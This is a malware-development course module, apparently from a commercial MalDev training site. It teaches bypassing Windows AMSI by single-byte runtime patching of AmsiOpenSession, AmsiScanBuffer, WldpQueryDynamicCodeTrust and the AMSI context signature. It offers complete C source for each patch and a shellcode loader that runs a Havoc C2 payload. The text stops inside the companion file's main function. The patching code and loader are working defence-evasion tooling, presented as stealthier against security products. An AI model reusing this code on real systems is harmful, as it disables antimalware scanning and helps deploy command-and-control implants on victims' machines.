MalDev Study
Advanced Module 19advanced4 code files

Antimalware Scan Interface - AMSI Bypass Via Byte Patching

In the previous module, AMSI was introduced and it was shown how it can be used to prevent malicious scripts from being executed through signature scans. It was also shown that ...

Jump to Section (13)

Introduction

In the previous module, AMSI was introduced and it was shown how it can be used to prevent malicious scripts from being executed through signature scans. It was also shown that AMSI is implemented through WinAPIs that are exported from the amsi.dll module. Of these APIs, AmsiOpenSession and AmsiScanBuffer will be the ones of interest in this module where multiple implementations will be introduced to bypass AMSI through applying runtime byte patching.

Using byte patching as an evasion technique to bypass AMSI is a well-known method. However, this module will explore lesser-known single-byte patching techniques that offer increased stealthiness, making them more challenging for security products to detect.

Patching AmsiOpenSession

The AmsiOpenSession WinAPI creates an AMSI session that can be used to conduct multiple scanning operations. Preventing the execution of AmsiOpenSession's original code will prevent session creation, leading to a broken AMSI scanning process if it was initiated from within the target session. AmsiOpenSession is shown below to allow for convenient referencing throughout the module.

CSHARP
HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);

Before applying any patches, it is crucial to gain a thorough understanding of how the API functions and familiarize oneself with its possible return values. When examining Microsoft's documentation, we find that the function AmsiOpenSession belongs to the HRESULT type, which is short for Handle to Result. HRESULT is a 32-bit data type, and if it is assigned a non-zero value, it indicates a failure condition in the function. Furthermore, HRESULT has special error codes that can be viewed here.

Using the xdbg debugger, it's possible to view AmsiOpenSession as long as the process that's being debugged has amsi.dll loaded. The image below displays AmsiOpenSession from within xdbg. In this WinAPI, there are multiple je (jump if equal) instructions. These jumps happen after checks on the input parameters. Each jump leads to a specific address where the statement mov eax, 80070057 is executed, followed by a ret instruction. This action occurs when an invalid input parameter data is detected. The value 80070057 stands for the error code E_INVALIDARG, which indicates that the function was called with one or more invalid parameters.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure
Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Our goal will be to redirect execution to mov eax, 80070057 and cause AmsiOpenSession to terminate, therefore bypassing AMSI. With this in mind, there are two approaches to redirect execution and cause AmsiOpenSession to terminate:

1. Modify the logic of the je instructions to force the function to return E_INVALIDARG when valid parameters are supplied.

2.Patch the comparison logic (being the test and cmp instructions) to force the je instruction to always execute and return E_INVALIDARG when valid parameters are

  • supplied.

PatchAmsiOpenSessionJe - Patching AmsiOpenSession

In this section, a custom function called PatchAmsiOpenSessionJe is created which modifies one of the previously mentioned je instructions to become a jne instruction, meaning jump if not equal. As a result, when the function is called with valid parameters, it will be directed to execute mov eax, 80070057 and AmsiOpenSession will terminate.

PatchAmsiOpenSessionJe will perform the following steps:

  • Search for the last ret instruction.
  • Search upward (starting from the ret instruction) for the first je instruction.
  • Change the memory permissions to allow writing.
  • Applying the patch by changing the je instruction found to a jne one.
  • Reset the original memory permissions.

PatchAmsiOpenSessionJe is shown below and it requires one argument which is the address of the AmsiOpenSession WinAPI.

CPP
#define   x64_RET_INSTRUCTION_OPCODE       0xC3       // 'ret' - instruction opcode
#define   x64_INT3_INSTRUCTION_OPCODE      0xCC       // 'int3' - instruction opcode
#define   x64_JE_INSTRUCTION_OPCODE        0x74       // 'jump if equal' - instruction opcode
#define   x64_JNE_INSTRUCTION_OPCODE       0x75       // 'jump if not equal' - instruction opcode
CPP
BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiOpenSession) 
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiOpenSession[i + 2] 
== x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching upwards for the first 'je' instruction
    while (i) {

        if (pAmsiOpenSession[i] == x64_JE_INSTRUCTION_OPCODE) { 
            px74Opcode = &pAmsiOpenSession[i];
            break;
        }

        i--;
    }

    if (!px74Opcode)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

    // Change memory permissions to original
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

Patching AmsiScanBuffer

AmsiScanBuffer is an AMSI WinAPI function used to scan a given buffer for malicious code or strings. After scanning the given buffer, AmsiScanBuffer will return the result through its result parameter.

CPP
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result    // AmsiScanBuffer returns the results of the scan through this param
);

The possible results that can be returned by the result parameter are shown below.

CPP
typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,                    // Known good. No detection found, and the result is likely not going to change after a future definition u
pdate.
  AMSI_RESULT_NOT_DETECTED,             // No detection found, but the result might change after a future definition update.
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,   // Administrator policy blocked this content on this machine (beginning of range).
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,     // Administrator policy blocked this content on this machine (end of range).
  AMSI_RESULT_DETECTED                  // Detection found. The content is considered malware and should be blocked.
} ;

The following image shows the AmsiScanBuffer function under a debugger.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Similar to the AmsiOpenSession function, AmsiScanBuffer also checks the input parameters and returns E_INVALIDARG when an invalid parameter is detected.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

PatchAmsiScanBufferJe - Patching AmsiScanBuffer

Patching AmsiScanBuffer will follow a similar approach as patching AmsiOpenSession. In the previous case, the je instruction was replaced with a jne instruction to make the function return E_INVALIDARG. The new function, PatchAmsiScanBufferJe, also works in a similar manner.

PatchAmsiScanBufferJe will also search for the target je instruction and once detected, it modifies the memory permissions to apply the patch and then resets them afterward. PatchAmsiScanBufferJe accepts a single parameter, which is the address of the AmsiScanBuffer WinAPI.

CPP
BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiScanBuffer)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] == 
x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching upwards for the first 'je' instruction
    while (i) {

        if (pAmsiScanBuffer[i] == x64_JE_INSTRUCTION_OPCODE) {
            px74Opcode = &pAmsiScanBuffer[i];
            break;
        }

        i--;
    }

    if (!px74Opcode)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

    // Change memory permissions to original
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

Patching AmsiScanString

There is no need to patch the AmsiScanString function separately when patching AmsiScanBuffer. The reason is that AmsiScanString internally calls the AmsiScanBuffer function, as shown in the image below. Consequently, if the AmsiScanBuffer function fails, it will lead to the failure of AmsiScanString as well.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Patching AMSI Context Structure

The technique of patching the AMSI Context Structure works on machines up to and including Windows 10. This is because, on machines other than Windows 11, the AmsiOpenSession function includes an additional check. The previous image of AmsiOpenSession shown inside xdbg was captured from a Windows 11 machine, which is why this check was not present. However, on a Windows 10 machine, the AmsiOpenSession function inside xdbg appears as follows:

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Notice the new signature check which is related to the undocumented HAMSICONTEXT structure. This check will ensure that the Signature member must be equal to 0x414D5349 which is equivalent to "AMSI".

CPP
typedef struct HAMSICONTEXT {
    DWORD       Signature;         // 0x414D5349 or "AMSI"
    PWCHAR      AppName;           
    DWORD       Antimalware;       
    DWORD       SessionCount;      
} HAMSICONTEXT;

PatchAmsiSignature - Patching AMSI Context Structure

One can simply change the value that the structure element is compared to, which is 414D5349, and set it to a random value. This way the signature check will fail and the function will return E_INVALIDARG. The PatchAmsiSignature function shown below searches for the "AMSI" string and change the first byte (representing the letter "A") into "C", therefore corrupting the signature value.

PatchAmsiSignature takes one argument which is the address of the AmsiOpenSession WinAPI.

CPP
#define AMSI_SIGNATURE      0x49534D41  // "ISMA" string ("AMSI" in reverse)

BOOL PatchAmsiSignature(IN PBYTE pAmsiFunc) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiFunc)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiFunc[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiFunc[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiFunc[i + 2] == x64_INT3_INSTRUCTI
ON_OPCODE)
            break;
        i++;
    }

    // Searching again for the amsi signature address
    for (DWORD x = 0; x < i; x++){
        if (*(ULONG*)(pAmsiFunc + x) == AMSI_SIGNATURE) {
            pAmsiSignature = &pAmsiFunc[x];
            break;
        }
    }

    if (!pAmsiSignature)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(pAmsiSignature, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch - Replacing the first byte in the original signature to a random byte
    *(BYTE*)pAmsiSignature = 0x43;

    // Change memory permissions to original
    if (!VirtualProtect(pAmsiSignature, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

Keep in mind that since the signature check is only present on Windows 10 systems and below, the PatchAmsiSignature function will not work on Windows 11 machines.

Patching WldpQueryDynamicCodeTrust

WldpQueryDynamicCodeTrust is a part of the Windows Defender Exploit Guard WDEG and Windows Defender Application Control WDAC . It is used to determine if a specified in-memory or on-disk .NET Code Signing CRL dynamic code is trusted by the Device Guard policy.

CPP
HRESULT WldpQueryDynamicCodeTrust(
  HANDLE fileHandle,
  PVOID  baseImage,
  ULONG  imageSize
);

WldpQueryDynamicCodeTrust is not directly related to AMSI however it can be used alongside AMSI to help in detecting malicious .NET files. The following image shows the WldpQueryDynamicCodeTrust function under a debugger. Notice the similarities between WldpQueryDynamicCodeTrust's code structure and AmsiOpenSession or AmsiScanBuffer.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure
Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

PatchWldpQueryDynamicCodeTrustJe - Patching WldpQueryDynamicCodeTrust

The PatchWldpQueryDynamicCodeTrustJe function will search for the target je instruction in the same manner that was previously shown and apply a patch. PatchWldpQueryDynamicCodeTrustJe takes one input parameter, pWldpQueryDynamicCodeTrust, representing the address of the WldpQueryDynamicCodeTrust function.

CPP
BOOL PatchWldpQueryDynamicCodeTrustJe(IN PBYTE pWldpQueryDynamicCodeTrust) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;
CPP
    if (!pWldpQueryDynamicCodeTrust)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pWldpQueryDynamicCodeTrust[i] == x64_RET_INSTRUCTION_OPCODE && pWldpQueryDynamicCodeTrust[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pWld
pQueryDynamicCodeTrust[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching for the first 'je' instruction
    for (DWORD x = 0; x < i; x++) {
        if (pWldpQueryDynamicCodeTrust[x] == x64_JE_INSTRUCTION_OPCODE) {
            px74Opcode = &pWldpQueryDynamicCodeTrust[x];
            break;
        }
    }

    if (!px74Opcode)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

    // Change memory permissions to original
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

Verifying Je Instruction

In all the patching functions that replaced the je instruction with jne, they used an if statement to find the je instruction by comparing the current address's opcode to the je instruction opcode 0 74 in hexadecimal). However, this method of locating the target je instruction is not reliable and rather unstable.

The problem arises because when iterating through a function's opcodes, there is a significant chance of encountering a byte that has the same value as the je opcode 0 74 , but it is not actually a je instruction. Therefore, there is a risk of applying the patch to a different instruction, which may cause the target process to raise a STATUS_ILLEGAL_INSTRUCTION exception and potentially crash.

The solution relies on examining the first instruction executed after the jump occurs. In simple terms, if the je instruction is identified, the implementation must verify whether it jumps to the mov eax, 80070057 instruction. If the jump indeed leads to the mentioned instruction, then the current je instruction should be patched. Otherwise, the function should continue searching.

To determine where the jump lands after detecting the je instruction, one must add the operand of the instruction (representing the offset to the address to jump to) to the address following the instruction. This concept was discussed in greater detail in New Module 15 Event Tracing for Windows Better Patching.

The VerifyAddress function presented below takes an address from within the target functions (pAddress) and checks whether it corresponds to the intended je instruction.

CPP
#define x64_MOV_INSTRUCTION_OPCODE       0xB8        // 'mov' - instruction opcode

BOOL VerifyAddress (IN PBYTE pAddress) {

    PBYTE   pMovIns     = NULL;
    BYTE    bOffset     = 0x00;

    // Initial Check
    if (*(PBYTE)pAddress != x64_JE_INSTRUCTION_OPCODE)
        return FALSE;

    // Calculate the offset of the jump address
    // Adding 1 to skip the 'je' instruction
    bOffset = *(PBYTE)(pAddress + sizeof(BYTE));

    // Add the offset to the address following the 'je offset' instruction
    // Adding 2 to skip the 'je offset' statement
    pMovIns = (PBYTE)(pAddress + (sizeof(BYTE) * 2) + bOffset);

    // Return true if the first instruction is found to be a 'mov' instruction
    return *(PBYTE)pMovIns == x64_MOV_INSTRUCTION_OPCODE ? TRUE : FALSE;
}

The function VerifyAddress will be called in the PatchAmsiOpenSessionJe, PatchAmsiScanBufferJe, and PatchWldpQueryDynamicCodeTrustJe functions instead of the if- statement for a more stable check that assures the right instruction to patch. For example, in the PatchAmsiScanBufferJe function, calling VerifyAddress should look like the following:

CPP
BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiScanBuffer)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] == 
x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching upwards for the first 'je' instruction
    while (i) {
        // 'VerifyAddress' is called to check if the current opcode represents a valid 'je' instruction
        if (VerifyAddress(&pAmsiScanBuffer[i])) {
            px74Opcode = &pAmsiScanBuffer[i];
            break;
        }

        i--;
    }

    if (!px74Opcode)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

    // Change memory permissions to original
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

Demo

The below images showcase the functions PatchAmsiOpenSessionJe, PatchAmsiScanBufferJe, and PatchWldpQueryDynamicCodeTrustJe in action. It is worth noting that these functions were executed on a Windows 11 system.

Running the PatchAmsiOpenSessionJe function, and replacing the last je instruction with a jne one.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Running the PatchAmsiScanBufferJe function, and replacing the last je instruction with a jne one.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Running the PatchWldpQueryDynamicCodeTrustJe function, and replacing the first je instruction with a jne one.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

The below image, on the other hand, showcases the output of the PatchAmsiSignature function executed on a Windows 10 machine, where the AMSI context check exists.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

Video Demo

To test an AMSI bypass, one should try and execute a .NET assembly binary and observe the result with and without AMSI patching techniques. For the below demo, the Havoc C&C framework will be used to create a demon shellcode that will be injected into our implementation. After obtaining a session on the Havoc teamserver, one can then execute a .NET assembly using the dotnet inline-execute command.

The .NET assembly executed in the demo is SharpHound which is an open-source tool used for discovering misconfigurations in Active Directory. It is worth noting that, by the time of writing this module, the dotnet inline-execute command executes an AMSI patch by default, this will ensure a successful AMSI bypass every time the command is executed. Therefore, in order for this demo to work, one should comment the AMSI patching code from Havoc's payload located here as done in the following image.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure

After that, the dotnet inline-execute command will not patch any AMSI function, which allow us to observe the real output of our implementation. Moreover, injecting the Havoc payload is done via the below shown InjectShellcodeFileLocally function, which reads the payload file and executes it locally. InjectShellcodeFileLocally requires one argument, wsShellFileName, which represents the payload file path to read (path to the generated demo.bin).

CPP
BOOL InjectShellcodeFileLocally(IN LPCWSTR wsShellFileName) {

    HANDLE  hFile               = INVALID_HANDLE_VALUE,
            hThread             = NULL;
    DWORD   dwBufferSize        = NULL,
            dwNumberOfBytesRead  = NULL,
            dwOldProtection      = NULL;
    PBYTE   pBufferData         = NULL;
    DWORD   dwThreadId          = 0x00;
    BOOL    bResults            = FALSE;
CPP
    if ((hFile = CreateFileW(wsShellFileName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if ((dwBufferSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if ((pBufferData = VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if (!ReadFile(hFile, pBufferData, dwBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != dwBufferSize) {
        printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
        printf("[!] Bytes Read: %d of %d\n", dwNumberOfBytesRead, dwBufferSize);
        goto _EndOfFunc;
    }

    if (!VirtualProtect(pBufferData, dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    printf("\t> Running Payload Via Thread ");
    hThread = CreateThread(NULL, NULL, pBufferData, NULL, NULL, &dwThreadId);
    printf("[ %d ] ... \n", dwThreadId);
    if (hThread)
        WaitForSingleObject(hThread, INFINITE);

    bResults = TRUE;

_EndOfFunc:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    return bResults;
}

Click the image below to view the video demo.

Antimalware Scan Interface - AMSI Bypass Via Byte Patching figure
Diagram

Companion Project & Source Code

4 readable source/config files extracted directly from the archive

Download Module 19 - AmsiPatching.zip
11.1 KB
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>


#define x64_RET_INSTRUCTION_OPCODE			0xC3		// 'ret'				- instruction opcode
#define x64_INT3_INSTRUCTION_OPCODE			0xCC		// 'int3'				- instruction opcode
#define x64_JE_INSTRUCTION_OPCODE			0x74		// 'jump if equal'		- instruction opcode
#define x64_JNE_INSTRUCTION_OPCODE			0x75		// 'jump if not equal'	- instruction opcode
#define x64_MOV_INSTRUCTION_OPCODE			0xB8		// 'move'				- instruction opcode

#define	AMSI_SIGNATURE						0x49534D41	// "ISMA" string ("AMSI" in reverse)



BOOL VerifyAddress (IN PBYTE pAddress) {

	PBYTE	pMovIns		= NULL;
	BYTE	bOffset		= 0x00;

	// Initial Check
	if (*(PBYTE)pAddress != x64_JE_INSTRUCTION_OPCODE)
		return FALSE;

	// Calculate the offset of the jump address
	// Adding 1 to skip the 'je' instruction
	bOffset = *(PBYTE)(pAddress + sizeof(BYTE));

	// Add the offset to the address following the 'je offset' instruction
	// Adding 2 to skip the 'je offset' statement
	pMovIns = (PBYTE)(pAddress + (sizeof(BYTE) * 2) + bOffset);

	// Return true if the first instruction is found to be a 'mov' instruction
	return *(PBYTE)pMovIns == x64_MOV_INSTRUCTION_OPCODE ? TRUE : FALSE;
}




//	Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne" instruction 
//	Compatible with both W10 & W11
//	Parameters :
//		* pAmsiOpenSession - Address of the AmsiOpenSession function

BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) {

	PBYTE		px74Opcode			= NULL;
	DWORD		i					= 0x00,
				dwOldProtection		= 0x00;
	
	if (!pAmsiOpenSession) 
		return FALSE;

	// A while-loop to find the last 'ret' instruction
	while (1) {
		if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiOpenSession[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
			break;
		i++;
	}

	// Searching upwards for the first 'je' instruction
	while (i) {

		if (VerifyAddress(&pAmsiOpenSession[i])) {
			px74Opcode = &pAmsiOpenSession[i];
			break;
		}

		i--;
	}

	printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

	if (!px74Opcode)
		return FALSE;

	printf("\t[i] Replacing JE with JNE Instruction ... ");

	// Change memory permissions to RWX
	if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
		return FALSE;

	// Apply the patch
	*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

	// Change memory permissions to original
	if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
		return FALSE;

	printf("[+] DONE \n");

	return TRUE;
}


// Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne" instruction 
//	Compatible with both W10 & W11
//	Parameters :
//		* pAmsiScanBuffer - Address of the AmsiScanBuffer function

// NOTE: The function 'PatchAmsiScanBufferJe' is identical to the 'PatchAmsiOpenSessionJe' function

BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {

	PBYTE		px74Opcode		= NULL;
	DWORD		i				= 0x00,
				dwOldProtection = 0x00;

	if (!pAmsiScanBuffer)
		return FALSE;

	// A while-loop to find the last 'ret' instruction
	while (1) {
		if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
			break;
		i++;
	}

	// Searching upwards for the first 'je' instruction
	while (i) {

		if (VerifyAddress(&pAmsiScanBuffer[i])) {
			px74Opcode = &pAmsiScanBuffer[i];
			break;
		}

		i--;
	}

	printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

	if (!px74Opcode)
		return FALSE;

	printf("\t[i] Replacing JE with JNE Instruction ... ");

	// Change memory permissions to RWX
	if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
		return FALSE;

	// Apply the patch
	*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

	// Change memory permissions to original
	if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
		return FALSE;

	printf("[+] DONE \n");

	return TRUE;
}



//	Patch the amsi context structure - changing it from "AMSI" (49 53 4D 41) to (AA 53 4D 41)
//	Compatible with W10 only
//	Parameters :
//		* pAmsiFunc - Address of either AmsiOpenSession or AmsiScanBuffer functions

BOOL PatchAmsiSignature(IN PBYTE pAmsiFunc) {
	

	PBYTE		pAmsiSignature		= NULL;
	DWORD		i					= 0x00,
				dwOldProtection		= 0x00;

	if (!pAmsiFunc)
		return FALSE;

	// A while-loop to find the last 'ret' instruction
	while (1) {
		if (pAmsiFunc[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiFunc[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiFunc[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
			break;
		i++;
	}

	// Searching again for the amsi signature address
	for (DWORD x = 0; x < i; x++){
		if (*(ULONG*)(pAmsiFunc + x) == AMSI_SIGNATURE) {
			pAmsiSignature = &pAmsiFunc[x];
			break;
		}
	}

	printf("\t[+] Amsi Signature Found At: 0x%p \n", pAmsiSignature);

	if (!pAmsiSignature)
		return FALSE;

	printf("\t[i] Replacing The Amsi Signature [41 4D 53 49] with [43 4D 53 49] ... ");

	// Change memory permissions to RWX
	if (!VirtualProtect(pAmsiSignature, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
		return FALSE;

	// Apply the patch - Replacing the first byte in the original signature to a random byte
	*(BYTE*)pAmsiSignature = 0x43;

	// Change memory permissions to original
	if (!VirtualProtect(pAmsiSignature, 0x01, dwOldProtection, &dwOldProtection))
		return FALSE;

	printf("[+] DONE \n");

	return TRUE;
}


//	Replace the "je" instruction that jumps to "mov eax, 80070057" to "jne" instruction 
//	Compatible with both W10 & W11
//	Parameters :
//		* pWldpQueryDynamicCodeTrust - Address of the WldpQueryDynamicCodeTrust function

BOOL PatchWldpQueryDynamicCodeTrustJe(IN PBYTE pWldpQueryDynamicCodeTrust) {


	PBYTE		px74Opcode			= NULL;
	DWORD		i					= 0x00,
				dwOldProtection		= 0x00;

	if (!pWldpQueryDynamicCodeTrust)
		return FALSE;

	// A while-loop to find the last 'ret' instruction
	while (1) {
		if (pWldpQueryDynamicCodeTrust[i] == x64_RET_INSTRUCTION_OPCODE && pWldpQueryDynamicCodeTrust[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pWldpQueryDynamicCodeTrust[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
			break;
		i++;
	}

	// Searching for the first 'je' instruction
	for (DWORD x = 0; x < i; x++) {
		if (VerifyAddress(&pWldpQueryDynamicCodeTrust[x])) {
			px74Opcode = &pWldpQueryDynamicCodeTrust[x];
			break;
		}
	}

	printf("\t[+] 'je' Insruction Found At: 0x%p \n", px74Opcode);

	if (!px74Opcode)
		return FALSE;

	printf("\t[i] Replacing JE with JNE Instruction ... ");

	// Change memory permissions to RWX
	if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
		return FALSE;

	// Apply the patch
	*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

	// Change memory permissions to original
	if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
		return FALSE;

	printf("[+] DONE \n");

	return TRUE;
}


BOOL InjectShellcodeFileLocally(IN LPCWSTR wsShellFileName) {

	HANDLE	hFile				= INVALID_HANDLE_VALUE,
			hThread				= NULL;
	DWORD	dwBufferSize		= NULL,
			dwNumberOfBytesRead = NULL,
			dwOldProtection		= NULL;
	PBYTE	pBufferData			= NULL;
	DWORD	dwThreadId			= 0x00;
	BOOL	bResults			= FALSE;


	if ((hFile = CreateFileW(wsShellFileName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	if ((dwBufferSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
		printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	if ((pBufferData = VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) == NULL) {
		printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	if (!ReadFile(hFile, pBufferData, dwBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != dwBufferSize) {
		printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
		printf("[!] Bytes Read: %d of %d\n", dwNumberOfBytesRead, dwBufferSize);
		goto _EndOfFunc;
	}

	if (!VirtualProtect(pBufferData, dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	printf("\t> Running Payload Via Thread ");
	hThread = CreateThread(NULL, NULL, pBufferData, NULL, NULL, &dwThreadId);
	printf("[ %d ] ... \n", dwThreadId);
	if (hThread)
		WaitForSingleObject(hThread, INFINITE);

	bResults = TRUE;

_EndOfFunc:
	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);
	return bResults;
}

//\
#define WINDOWS10


int main() {

	if (!LoadLibrary(TEXT("AMSI"))) {
		printf("[!] LoadLibrary [1] Failed With Error: %d \n", GetLastError());
		return -1;
	}

	if (!LoadLibrary(TEXT("WLDP"))) {
		printf("[!] LoadLibrary [2] Failed With Error: %d \n", GetLastError());
		return -1;
	}

	PVOID pAmsiOpenSession				= GetProcAddress(GetModuleHandle(TEXT("AMSI")), "AmsiOpenSession");
